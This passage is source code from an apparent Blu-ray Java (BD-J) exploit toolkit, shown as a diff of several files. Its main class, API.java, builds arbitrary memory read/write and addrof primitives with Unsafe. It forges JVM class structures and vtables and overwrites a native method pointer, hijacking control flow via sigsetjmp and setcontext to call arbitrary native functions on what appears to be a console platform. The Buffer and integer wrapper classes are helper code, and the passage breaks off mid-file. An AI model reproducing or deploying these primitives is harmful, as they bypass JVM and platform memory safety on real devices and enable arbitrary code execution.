|
||||
*/
|
||||
|
||||
package org.bdj.api;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/** API class to access native data and execute native code. */
|
||||
public final class API {
|
||||
public static final int RTLD_DEFAULT = -2;
|
||||
|
||||
public static final int LIBC_MODULE_HANDLE = 0x2;
|
||||
public static final int LIBKERNEL_MODULE_HANDLE = 0x2001;
|
||||
public static final int LIBJAVA_MODULE_HANDLE = 0x4A;
|
||||
|
||||
private static final String UNSUPPORTED_DLOPEN_OPERATION_STRING =
|
||||
"Unsupported dlopen() operation";
|
||||
|
||||
private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL =
|
||||
"Java_java_lang_reflect_Array_multiNewArray";
|
||||
private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath";
|
||||
private static final String SIGSETJMP_SYMBOL = "sigsetjmp";
|
||||
private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext";
|
||||
private static final String ERROR_SYMBOL = "__error";
|
||||
|
||||
private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray";
|
||||
private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(J[I)J";
|
||||
|
||||
private static final String NATIVE_LIBRARY_CLASS_NAME = "java.lang.ClassLoader$NativeLibrary";
|
||||
private static final String FIND_METHOD_NAME = "find";
|
||||
private static final String FIND_ENTRY_METHOD_NAME = "findEntry";
|
||||
private static final String HANDLE_FIELD_NAME = "handle";
|
||||
|
||||
private static final String VALUE_FIELD_NAME = "value";
|
||||
|
||||
private static final int[] MULTI_NEW_ARRAY_DIMENSIONS = new int[] {1};
|
||||
|
||||
private static final int ARRAY_BASE_OFFSET = 0x18;
|
||||
|
||||
private static final ThreadLocal callContexts = new ThreadLocal();
|
||||
|
||||
private static API instance;
|
||||
|
||||
private UnsafeInterface unsafe;
|
||||
|
||||
private Object nativeLibrary;
|
||||
private Method findMethod;
|
||||
private Field handleField;
|
||||
|
||||
private long executableHandle;
|
||||
|
||||
private long Java_java_lang_reflect_Array_multiNewArray;
|
||||
private long JVM_NativePath;
|
||||
private long sigsetjmp;
|
||||
private long __Ux86_64_setcontext;
|
||||
private long __error;
|
||||
|
||||
private boolean jdk11;
|
||||
|
||||
private API() throws Exception {
|
||||
this.init();
|
||||
}
|
||||
|
||||
public static synchronized API getInstance() throws Exception {
|
||||
if (instance == null) {
|
||||
instance = new API();
|
||||
}
|
||||
return instance;
|
||||
}
|
||||
|
||||
private native long multiNewArray(long componentType, int[] dimensions);
|
||||
|
||||
public boolean isJdk11() {
|
||||
return jdk11;
|
||||
}
|
||||
|
||||
private void init() throws Exception {
|
||||
initUnsafe();
|
||||
initDlsym();
|
||||
initSymbols();
|
||||
initApiCall();
|
||||
}
|
||||
|
||||
private void initUnsafe() throws Exception {
|
||||
unsafe = new UnsafeSunImpl();
|
||||
jdk11 = false;
|
||||
}
|
||||
|
||||
private void initDlsym() throws Exception {
|
||||
Class nativeLibraryClass = Class.forName(NATIVE_LIBRARY_CLASS_NAME);
|
||||
|
||||
if (jdk11) {
|
||||
findMethod =
|
||||
nativeLibraryClass.getDeclaredMethod(FIND_ENTRY_METHOD_NAME, new Class[] {String.class});
|
||||
} else {
|
||||
findMethod =
|
||||
nativeLibraryClass.getDeclaredMethod(FIND_METHOD_NAME, new Class[] {String.class});
|
||||
}
|
||||
|
||||
handleField = nativeLibraryClass.getDeclaredField(HANDLE_FIELD_NAME);
|
||||
|
||||
findMethod.setAccessible(true);
|
||||
handleField.setAccessible(true);
|
||||
|
||||
Constructor nativeLibraryConstructor =
|
||||
nativeLibraryClass.getDeclaredConstructor(
|
||||
new Class[] {Class.class, String.class, boolean.class});
|
||||
nativeLibraryConstructor.setAccessible(true);
|
||||
|
||||
nativeLibrary =
|
||||
nativeLibraryConstructor.newInstance(new Object[] {getClass(), "api", new Boolean(true)});
|
||||
}
|
||||
|
||||
private void initSymbols() {
|
||||
JVM_NativePath = dlsym(RTLD_DEFAULT, JVM_NATIVE_PATH_SYMBOL);
|
||||
if (JVM_NativePath == 0) {
|
||||
throw new InternalError("JVM_NativePath not found");
|
||||
}
|
||||
|
||||
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
|
||||
if (__Ux86_64_setcontext == 0) {
|
||||
// In earlier versions, there's a bug where only the main executable's handle is used.
|
||||
executableHandle = JVM_NativePath & -4;
|
||||
while (strcmp(executableHandle, UNSUPPORTED_DLOPEN_OPERATION_STRING) != 0) {
|
||||
executableHandle += 4;
|
||||
}
|
||||
executableHandle -= 4;
|
||||
|
||||
// Try again.
|
||||
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
|
||||
}
|
||||
if (__Ux86_64_setcontext == 0) {
|
||||
throw new InternalError("__Ux86_64_setcontext not found");
|
||||
}
|
||||
|
||||
if (jdk11) {
|
||||
Java_java_lang_reflect_Array_multiNewArray =
|
||||
dlsym(LIBJAVA_MODULE_HANDLE, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
|
||||
} else {
|
||||
Java_java_lang_reflect_Array_multiNewArray =
|
||||
dlsym(RTLD_DEFAULT, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
|
||||
}
|
||||
if (Java_java_lang_reflect_Array_multiNewArray == 0) {
|
||||
throw new InternalError("Java_java_lang_reflect_Array_multiNewArray not found");
|
||||
}
|
||||
|
||||
sigsetjmp = dlsym(LIBKERNEL_MODULE_HANDLE, SIGSETJMP_SYMBOL);
|
||||
if (sigsetjmp == 0) {
|
||||
throw new InternalError("sigsetjmp not found");
|
||||
}
|
||||
|
||||
__error = dlsym(LIBKERNEL_MODULE_HANDLE, ERROR_SYMBOL);
|
||||
if (__error == 0) {
|
||||
throw new InternalError("__error not found");
|
||||
}
|
||||
}
|
||||
|
||||
private void initApiCall() {
|
||||
long apiInstance = addrof(this);
|
||||
long apiKlass = read64(apiInstance + 0x08);
|
||||
|
||||
boolean installed = false;
|
||||
if (jdk11) {
|
||||
long methods = read64(apiKlass + 0x170);
|
||||
int numMethods = read32(methods + 0x00);
|
||||
|
||||
for (int i = 0; i < numMethods; i++) {
|
||||
long method = read64(methods + 0x08 + i * 8);
|
||||
long constMethod = read64(method + 0x08);
|
||||
long constants = read64(constMethod + 0x08);
|
||||
short nameIndex = read16(constMethod + 0x2A);
|
||||
short signatureIndex = read16(constMethod + 0x2C);
|
||||
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & -2;
|
||||
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & -2;
|
||||
short nameLength = read16(nameSymbol + 0x00);
|
||||
short signatureLength = read16(signatureSymbol + 0x00);
|
||||
|
||||
String name = readString(nameSymbol + 0x06, nameLength);
|
||||
String signature = readString(signatureSymbol + 0x06, signatureLength);
|
||||
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME)
|
||||
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) {
|
||||
write64(method + 0x50, Java_java_lang_reflect_Array_multiNewArray);
|
||||
installed = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
long methods = read64(apiKlass + 0xC8);
|
||||
int numMethods = read32(methods + 0x10);
|
||||
|
||||
for (int i = 0; i < numMethods; i++) {
|
||||
long method = read64(methods + 0x18 + i * 8);
|
||||
long constMethod = read64(method + 0x10);
|
||||
long constants = read64(method + 0x18);
|
||||
short nameIndex = read16(constMethod + 0x42);
|
||||
short signatureIndex = read16(constMethod + 0x44);
|
||||
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & -2;
|
||||
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & -2;
|
||||
short nameLength = read16(nameSymbol + 0x08);
|
||||
short signatureLength = read16(signatureSymbol + 0x08);
|
||||
|
||||
String name = readString(nameSymbol + 0x0A, nameLength);
|
||||
String signature = readString(signatureSymbol + 0x0A, signatureLength);
|
||||
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME)
|
||||
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) {
|
||||
write64(method + 0x78, Java_java_lang_reflect_Array_multiNewArray);
|
||||
installed = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!installed) {
|
||||
throw new InternalError("installing native method failed");
|
||||
}
|
||||
|
||||
// Invoke call method many times to kick in optimization.
|
||||
train();
|
||||
}
|
||||
|
||||
private void train() {
|
||||
for (int i = 0; i < 10000; i++) {
|
||||
call(0);
|
||||
}
|
||||
}
|
||||
|
||||
private void buildContext(
|
||||
long[] contextBuf,
|
||||
long[] jmpBuf,
|
||||
int offset,
|
||||
long rip,
|
||||
long rdi,
|
||||
long rsi,
|
||||
long rdx,
|
||||
long rcx,
|
||||
long r8,
|
||||
long r9) {
|
||||
long rbx = jmpBuf[(offset + 0x08) / 8];
|
||||
long rsp = jmpBuf[(offset + 0x10) / 8];
|
||||
long rbp = jmpBuf[(offset + 0x18) / 8];
|
||||
long r12 = jmpBuf[(offset + 0x20) / 8];
|
||||
long r13 = jmpBuf[(offset + 0x28) / 8];
|
||||
long r14 = jmpBuf[(offset + 0x30) / 8];
|
||||
long r15 = jmpBuf[(offset + 0x38) / 8];
|
||||
|
||||
contextBuf[(offset + 0x48) / 8] = rdi;
|
||||
contextBuf[(offset + 0x50) / 8] = rsi;
|
||||
contextBuf[(offset + 0x58) / 8] = rdx;
|
||||
contextBuf[(offset + 0x60) / 8] = rcx;
|
||||
contextBuf[(offset + 0x68) / 8] = r8;
|
||||
contextBuf[(offset + 0x70) / 8] = r9;
|
||||
contextBuf[(offset + 0x80) / 8] = rbx;
|
||||
contextBuf[(offset + 0x88) / 8] = rbp;
|
||||
contextBuf[(offset + 0xA0) / 8] = r12;
|
||||
contextBuf[(offset + 0xA8) / 8] = r13;
|
||||
contextBuf[(offset + 0xB0) / 8] = r14;
|
||||
contextBuf[(offset + 0xB8) / 8] = r15;
|
||||
contextBuf[(offset + 0xE0) / 8] = rip;
|
||||
contextBuf[(offset + 0xF8) / 8] = rsp;
|
||||
}
|
||||
|
||||
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) {
|
||||
long ret = 0;
|
||||
|
||||
// When func is 0, only do one iteration to avoid calling __Ux86_64_setcontext.
|
||||
// This is used to "train" this function to kick in optimization early. Otherwise, it is
|
||||
// possible that optimization kicks in between the calls to sigsetjmp and __Ux86_64_setcontext
|
||||
// leading to different stack layouts of the two calls.
|
||||
int iter = func == 0 ? 1 : 2;
|
||||
|
||||
CallContext callContext = getCallContext();
|
||||
|
||||
if (jdk11) {
|
||||
callContext.fakeKlass[0xC0 / 8] = 0; // dimension
|
||||
|
||||
for (int i = 0; i < iter; i++) {
|
||||
callContext.fakeKlass[0x00 / 8] = callContext.fakeKlassVtableAddr;
|
||||
callContext.fakeKlass[0x00 / 8] = callContext.fakeKlassVtableAddr;
|
||||
if (i == 0) {
|
||||
callContext.fakeKlassVtable[0x158 / 8] = sigsetjmp + 0x23; // multi_allocate
|
||||
} else {
|
||||
callContext.fakeKlassVtable[0x158 / 8] = __Ux86_64_setcontext + 0x39; // multi_allocate
|
||||
}
|
||||
|
||||
ret = multiNewArray(callContext.fakeClassOopAddr, MULTI_NEW_ARRAY_DIMENSIONS);
|
||||
|
||||
if (i == 0) {
|
||||
buildContext(
|
||||
callContext.fakeKlass,
|
||||
callContext.fakeKlass,
|
||||
0x00,
|
||||
func,
|
||||
arg0,
|
||||
arg1,
|
||||
arg2,
|
||||
arg3,
|
||||
arg4,
|
||||
arg5);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
callContext.fakeKlass[0xB8 / 8] = 0; // dimension
|
||||
|
||||
for (int i = 0; i < iter; i++) {
|
||||
callContext.fakeKlass[0x10 / 8] = callContext.fakeKlassVtableAddr;
|
||||
callContext.fakeKlass[0x20 / 8] = callContext.fakeKlassVtableAddr;
|
||||
if (i == 0) {
|
||||
callContext.fakeKlassVtable[0x230 / 8] = sigsetjmp + 0x23; // multi_allocate
|
||||
} else {
|
||||
callContext.fakeKlassVtable[0x230 / 8] = __Ux86_64_setcontext + 0x39; // multi_allocate
|
||||
}
|
||||
|
||||
ret = multiNewArray(callContext.fakeClassOopAddr, MULTI_NEW_ARRAY_DIMENSIONS);
|
||||
|
||||
if (i == 0) {
|
||||
buildContext(
|
||||
callContext.fakeKlass,
|
||||
callContext.fakeKlass,
|
||||
0x20,
|
||||
func,
|
||||
arg0,
|
||||
arg1,
|
||||
arg2,
|
||||
arg3,
|
||||
arg4,
|
||||
arg5);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (ret == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
return read64(ret);
|
||||
}
|
||||
|
||||
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) {
|
||||
return call(func, arg0, arg1, arg2, arg3, arg4, (long) 0);
|
||||
}
|
||||
|
||||
public long call(long func, long arg0, long arg1, long arg2, long arg3) {
|
||||
return call(func, arg0, arg1, arg2, arg3, (long) 0, (long) 0);
|
||||
}
|
||||
|
||||
public long call(long func, long arg0, long arg1, long arg2) {
|
||||
return call(func, arg0, arg1, arg2, (long) 0, (long) 0, (long) 0);
|
||||
}
|
||||
|
||||
public long call(long func, long arg0, long arg1) {
|
||||
return call(func, arg0, arg1, (long) 0, (long) 0, (long) 0, (long) 0);
|
||||
}
|
||||
|
||||
public long call(long func, long arg0) {
|
||||
return call(func, arg0, (long) 0, (long) 0, (long) 0, (long) 0, (long) 0);
|
||||
}
|
||||
|
||||
public long call(long func) {
|
||||
return call(func, (long) 0, (long) 0, (long) 0, (long) 0, (long) 0, (long) 0);
|
||||
}
|
||||
|
||||
public int errno() {
|
||||
return read32(call(__error));
|
||||
}
|
||||
|
||||
public long dlsym(long handle, String symbol) {
|
||||
int oldHandle = RTLD_DEFAULT;
|
||||
try {
|
||||
if (executableHandle != 0) {
|
||||
// In earlier versions, there's a bug where only the main executable's handle is used.
|
||||
oldHandle = read32(executableHandle);
|
||||
write32(executableHandle, (int) handle);
|
||||
handleField.setLong(nativeLibrary, RTLD_DEFAULT);
|
||||
} else {
|
||||
handleField.setLong(nativeLibrary, handle);
|
||||
}
|
||||
return ((Long) findMethod.invoke(nativeLibrary, new Object[] {symbol})).longValue();
|
||||
} catch (IllegalAccessException e) {
|
||||
return 0;
|
||||
} catch (InvocationTargetException e) {
|
||||
return 0;
|
||||
} finally {
|
||||
if (executableHandle != 0) {
|
||||
write32(executableHandle, oldHandle);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public long addrof(Object obj) {
|
||||
Object[] array = new Object[] {obj};
|
||||
return unsafe.getLong(array, ARRAY_BASE_OFFSET);
|
||||
}
|
||||
|
||||
public byte read8(long addr) {
|
||||
return unsafe.getByte(addr);
|
||||
}
|
||||
|
||||
public short read16(long addr) {
|
||||
return unsafe.getShort(addr);
|
||||
}
|
||||
|
||||
public int read32(long addr) {
|
||||
return unsafe.getInt(addr);
|
||||
}
|
||||
|
||||
public long read64(long addr) {
|
||||
return unsafe.getLong(addr);
|
||||
}
|
||||
|
||||
public void write8(long addr, byte val) {
|
||||
unsafe.putByte(addr, val);
|
||||
}
|
||||
|
||||
public void write16(long addr, short val) {
|
||||
unsafe.putShort(addr, val);
|
||||
}
|
||||
|
||||
public void write32(long addr, int val) {
|
||||
unsafe.putInt(addr, val);
|
||||
}
|
||||
|
||||
public void write64(long addr, long val) {
|
||||
unsafe.putLong(addr, val);
|
||||
}
|
||||
|
||||
public long malloc(long size) {
|
||||
return unsafe.allocateMemory(size);
|
||||
}
|
||||
|
||||
public long calloc(long number, long size) {
|
||||
long p = malloc(number * size);
|
||||
if (p != 0) {
|
||||
memset(p, 0, number * size);
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
public long realloc(long ptr, long size) {
|
||||
return unsafe.reallocateMemory(ptr, size);
|
||||
}
|
||||
|
||||
public void free(long ptr) {
|
||||
unsafe.freeMemory(ptr);
|
||||
}
|
||||
|
||||
public long memcpy(long dest, long src, long n) {
|
||||
unsafe.copyMemory(src, dest, n);
|
||||
return dest;
|
||||
}
|
||||
|
||||
public long memcpy(long dest, byte[] src, long n) {
|
||||
for (int i = 0; i < n; i++) {
|
||||
write8(dest + i, src[i]);
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
|
||||
public byte[] memcpy(byte[] dest, long src, long n) {
|
||||
for (int i = 0; i < n; i++) {
|
||||
dest[i] = read8(src + i);
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
|
||||
public long memset(long s, int c, long n) {
|
||||
unsafe.setMemory(s, n, (byte) c);
|
||||
return s;
|
||||
}
|
||||
|
||||
public byte[] memset(byte[] s, int c, long n) {
|
||||
for (int i = 0; i < n; i++) {
|
||||
s[i] = (byte) c;
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
public int memcmp(long s1, long s2, long n) {
|
||||
for (int i = 0; i < n; i++) {
|
||||
byte b1 = read8(s1 + i);
|
||||
byte b2 = read8(s2 + i);
|
||||
if (b1 != b2) {
|
||||
return (int) b1 - (int) b2;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
public int memcmp(long s1, byte[] s2, long n) {
|
||||
for (int i = 0; i < n; i++) {
|
||||
byte b1 = read8(s1 + i);
|
||||
byte b2 = s2[i];
|
||||
if (b1 != b2) {
|
||||
return (int) b1 - (int) b2;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
public int memcmp(byte[] s1, long s2, long n) {
|
||||
return memcmp(s2, s1, n);
|
||||
}
|
||||
|
||||
public int strcmp(long s1, long s2) {
|
||||
for (int i = 0; ; i++) {
|
||||
byte b1 = read8(s1 + i);
|
||||
byte b2 = read8(s2 + i);
|
||||
if (b1 != b2) {
|
||||
return (int) b1 - (int) b2;
|
||||
}
|
||||
if (b1 == (byte) 0 && b2 == (byte) 0) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public int strcmp(long s1, String s2) {
|
||||
byte[] bytes = toCBytes(s2);
|
||||
for (int i = 0; ; i++) {
|
||||
byte b1 = read8(s1 + i);
|
||||
byte b2 = bytes[i];
|
||||
if (b1 != b2) {
|
||||
return (int) b1 - (int) b2;
|
||||
}
|
||||
if (b1 == (byte) 0 && b2 == (byte) 0) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public int strcmp(String s1, long s2) {
|
||||
return strcmp(s2, s1);
|
||||
}
|
||||
|
||||
public long strcpy(long dest, long src) {
|
||||
for (int i = 0; ; i++) {
|
||||
byte ch = read8(src + i);
|
||||
write8(dest + i, ch);
|
||||
if (ch == (byte) 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
|
||||
public long strcpy(long dest, String src) {
|
||||
byte[] bytes = toCBytes(src);
|
||||
for (int i = 0; ; i++) {
|
||||
byte ch = bytes[i];
|
||||
write8(dest + i, ch);
|
||||
if (ch == (byte) 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
|
||||
public String readString(long src, long n) {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
for (int i = 0; ; i++) {
|
||||
byte ch = read8(src + i);
|
||||
if (ch == (byte) 0 || i == n) {
|
||||
break;
|
||||
}
|
||||
outputStream.write(new byte[] {ch}, 0, 1);
|
||||
}
|
||||
return outputStream.toString();
|
||||
}
|
||||
|
||||
public String readString(long src) {
|
||||
return readString(src, -1);
|
||||
}
|
||||
|
||||
public byte[] toCBytes(String str) {
|
||||
byte[] bytes = new byte[str.length() + 1];
|
||||
System.arraycopy(str.getBytes(), 0, bytes, 0, str.length());
|
||||
return bytes;
|
||||
}
|
||||
|
||||
private CallContext getCallContext() {
|
||||
CallContext callContext = (CallContext) callContexts.get();
|
||||
if (callContext != null) {
|
||||
return callContext;
|
||||
}
|
||||
|
||||
callContext = new CallContext();
|
||||
callContexts.set(callContext);
|
||||
return callContext;
|
||||
}
|
||||
|
||||
class CallContext {
|
||||
final long[] fakeClassOop;
|
||||
final long[] fakeClass;
|
||||
final long[] fakeKlass;
|
||||
final long[] fakeKlassVtable;
|
||||
|
||||
final long fakeClassOopAddr;
|
||||
final long fakeClassAddr;
|
||||
final long fakeKlassAddr;
|
||||
final long fakeKlassVtableAddr;
|
||||
|
||||
private final long callContextBuffer;
|
||||
|
||||
CallContext() {
|
||||
callContextBuffer =
|
||||
malloc(
|
||||
ARRAY_BASE_OFFSET
|
||||
+ Int64.SIZE
|
||||
+ ARRAY_BASE_OFFSET
|
||||
+ 0x100
|
||||
+ ARRAY_BASE_OFFSET
|
||||
+ 0x200
|
||||
+ ARRAY_BASE_OFFSET
|
||||
+ 0x400);
|
||||
if (callContextBuffer == 0) {
|
||||
throw new OutOfMemoryError("malloc failed");
|
||||
}
|
||||
|
||||
// Get array addresses.
|
||||
fakeClassOopAddr = callContextBuffer + ARRAY_BASE_OFFSET;
|
||||
fakeClassAddr = fakeClassOopAddr + Int64.SIZE + ARRAY_BASE_OFFSET;
|
||||
fakeKlassAddr = fakeClassAddr + 0x100 + ARRAY_BASE_OFFSET;
|
||||
fakeKlassVtableAddr = fakeKlassAddr + 0x200 + ARRAY_BASE_OFFSET;
|
||||
|
||||
long[] array = new long[1];
|
||||
long arrayAddr = addrof(array);
|
||||
long arrayKlass = read64(arrayAddr + 0x08);
|
||||
|
||||
// Write array headers.
|
||||
write64(fakeClassOopAddr - 0x18, 1);
|
||||
write64(fakeClassAddr - 0x18, 1);
|
||||
write64(fakeKlassAddr - 0x18, 1);
|
||||
write64(fakeKlassVtableAddr - 0x18, 1);
|
||||
|
||||
write64(fakeClassOopAddr - 0x10, arrayKlass);
|
||||
write64(fakeClassAddr - 0x10, arrayKlass);
|
||||
write64(fakeKlassAddr - 0x10, arrayKlass);
|
||||
write64(fakeKlassVtableAddr - 0x10, arrayKlass);
|
||||
|
||||
write64(fakeClassOopAddr - 8, 0xFFFFFFFF);
|
||||
write64(fakeClassAddr - 8, 0xFFFFFFFF);
|
||||
write64(fakeKlassAddr - 8, 0xFFFFFFFF);
|
||||
write64(fakeKlassVtableAddr - 8, 0xFFFFFFFF);
|
||||
|
||||
long[][] callContextArray = new long[4][0];
|
||||
long callContextArrayAddr = addrof(callContextArray) + ARRAY_BASE_OFFSET;
|
||||
|
||||
// Put array addresses into callContextArray.
|
||||
write64(callContextArrayAddr + 0x00, fakeClassOopAddr - ARRAY_BASE_OFFSET);
|
||||
write64(callContextArrayAddr + 0x08, fakeClassAddr - ARRAY_BASE_OFFSET);
|
||||
write64(callContextArrayAddr + 0x10, fakeKlassAddr - ARRAY_BASE_OFFSET);
|
||||
write64(callContextArrayAddr + 0x18, fakeKlassVtableAddr - ARRAY_BASE_OFFSET);
|
||||
|
||||
// Get fake arrays.
|
||||
fakeClassOop = callContextArray[0];
|
||||
fakeClass = callContextArray[1];
|
||||
fakeKlass = callContextArray[2];
|
||||
fakeKlassVtable = callContextArray[3];
|
||||
|
||||
// Restore.
|
||||
write64(callContextArrayAddr + 0x00, 0);
|
||||
write64(callContextArrayAddr + 0x08, 0);
|
||||
write64(callContextArrayAddr + 0x10, 0);
|
||||
write64(callContextArrayAddr + 0x18, 0);
|
||||
|
||||
if (jdk11) {
|
||||
fakeClassOop[0x00 / 8] = fakeClassAddr;
|
||||
fakeClass[0x98 / 8] = fakeKlassAddr;
|
||||
fakeKlassVtable[0xD8 / 8] = JVM_NativePath; // array_klass
|
||||
} else {
|
||||
fakeClassOop[0x00 / 8] = fakeClassAddr;
|
||||
fakeClass[0x68 / 8] = fakeKlassAddr;
|
||||
fakeKlassVtable[0x80 / 8] = JVM_NativePath; // array_klass
|
||||
fakeKlassVtable[0xF0 / 8] = JVM_NativePath; // oop_is_array
|
||||
}
|
||||
}
|
||||
|
||||
protected void finalize() {
|
||||
free(callContextBuffer);
|
||||
}
|
||||
}
|
||||
}
|
||||
101
src/org/bdj/api/Buffer.java
Normal file
101
src/org/bdj/api/Buffer.java
Normal file
@@ -0,0 +1,101 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package org.bdj.api;
|
||||
|
||||
public class Buffer {
|
||||
protected static final API api;
|
||||
|
||||
static {
|
||||
try {
|
||||
api = API.getInstance();
|
||||
} catch (Exception e) {
|
||||
throw new ExceptionInInitializerError(e);
|
||||
}
|
||||
}
|
||||
|
||||
private final long address;
|
||||
|
||||
private final int size;
|
||||
|
||||
public Buffer(int size) {
|
||||
this.address = api.calloc(1, size);
|
||||
this.size = size;
|
||||
}
|
||||
|
||||
protected void finalize() {
|
||||
api.free(address);
|
||||
}
|
||||
|
||||
public long address() {
|
||||
return address;
|
||||
}
|
||||
|
||||
public int size() {
|
||||
return size;
|
||||
}
|
||||
|
||||
public byte getByte(int offset) {
|
||||
checkOffset(offset, Int8.SIZE);
|
||||
return api.read8(address + offset);
|
||||
}
|
||||
|
||||
public short getShort(int offset) {
|
||||
checkOffset(offset, Int16.SIZE);
|
||||
return api.read16(address + offset);
|
||||
}
|
||||
|
||||
public int getInt(int offset) {
|
||||
checkOffset(offset, Int32.SIZE);
|
||||
return api.read32(address + offset);
|
||||
}
|
||||
|
||||
public long getLong(int offset) {
|
||||
checkOffset(offset, Int64.SIZE);
|
||||
return api.read64(address + offset);
|
||||
}
|
||||
|
||||
public void putByte(int offset, byte value) {
|
||||
checkOffset(offset, Int8.SIZE);
|
||||
api.write8(address + offset, value);
|
||||
}
|
||||
|
||||
public void putShort(int offset, short value) {
|
||||
checkOffset(offset, Int16.SIZE);
|
||||
api.write16(address + offset, value);
|
||||
}
|
||||
|
||||
public void putInt(int offset, int value) {
|
||||
checkOffset(offset, Int32.SIZE);
|
||||
api.write32(address + offset, value);
|
||||
}
|
||||
|
||||
public void putLong(int offset, long value) {
|
||||
checkOffset(offset, Int64.SIZE);
|
||||
api.write64(address + offset, value);
|
||||
}
|
||||
|
||||
public void put(int offset, Buffer buffer) {
|
||||
checkOffset(offset, buffer.size());
|
||||
api.memcpy(address + offset, buffer.address(), buffer.size());
|
||||
}
|
||||
|
||||
public void put(int offset, byte[] buffer) {
|
||||
checkOffset(offset, buffer.length);
|
||||
api.memcpy(address + offset, buffer, buffer.length);
|
||||
}
|
||||
|
||||
public void fill(byte value) {
|
||||
api.memset(address, value, size);
|
||||
}
|
||||
|
||||
protected void checkOffset(int offset, int length) {
|
||||
if (offset < 0 || length < 0 || (offset + length) > size) {
|
||||
throw new IndexOutOfBoundsException();
|
||||
}
|
||||
}
|
||||
}
|
||||
29
src/org/bdj/api/Int16.java
Normal file
29
src/org/bdj/api/Int16.java
Normal file
@@ -0,0 +1,29 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package org.bdj.api;
|
||||
|
||||
public final class Int16 extends Buffer {
|
||||
public static final int SIZE = 2;
|
||||
|
||||
public Int16() {
|
||||
super(SIZE);
|
||||
}
|
||||
|
||||
public Int16(short value) {
|
||||
this();
|
||||
set(value);
|
||||
}
|
||||
|
||||
public short get() {
|
||||
return getShort(0x00);
|
||||
}
|
||||
|
||||
public void set(short value) {
|
||||
putShort(0x00, value);
|
||||
}
|
||||
}
|
||||
22
src/org/bdj/api/Int16Array.java
Normal file
22
src/org/bdj/api/Int16Array.java
Normal file
@@ -0,0 +1,22 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package org.bdj.api;
|
||||
|
||||
public final class Int16Array extends Buffer {
|
||||
public Int16Array(int length) {
|
||||
super(length * Int16.SIZE);
|
||||
}
|
||||
|
||||
public short get(int index) {
|
||||
return getShort(index * Int16.SIZE);
|
||||
}
|
||||
|
||||
public void set(int index, short value) {
|
||||
putShort(index * Int16.SIZE, value);
|
||||
}
|
||||
}
|
||||
29
src/org/bdj/api/Int32.java
Normal file
29
src/org/bdj/api/Int32.java
Normal file
@@ -0,0 +1,29 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package org.bdj.api;
|
||||
|
||||
public final class Int32 extends Buffer {
|
||||
public static final int SIZE = 4;
|
||||
|
||||
public Int32() {
|
||||
super(SIZE);
|
||||
}
|
||||
|
||||
public Int32(int value) {
|
||||
this();
|
||||
set(value);
|
||||
}
|
||||
|
||||
public int get() {
|
||||
return getInt(0x00);
|
||||
}
|
||||
|
||||
public void set(int value) {
|
||||
putInt(0x00, value);
|
||||
}
|
||||
}
|
||||
22
src/org/bdj/api/Int32Array.java
Normal file
22
src/org/bdj/api/Int32Array.java
Normal file
@@ -0,0 +1,22 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
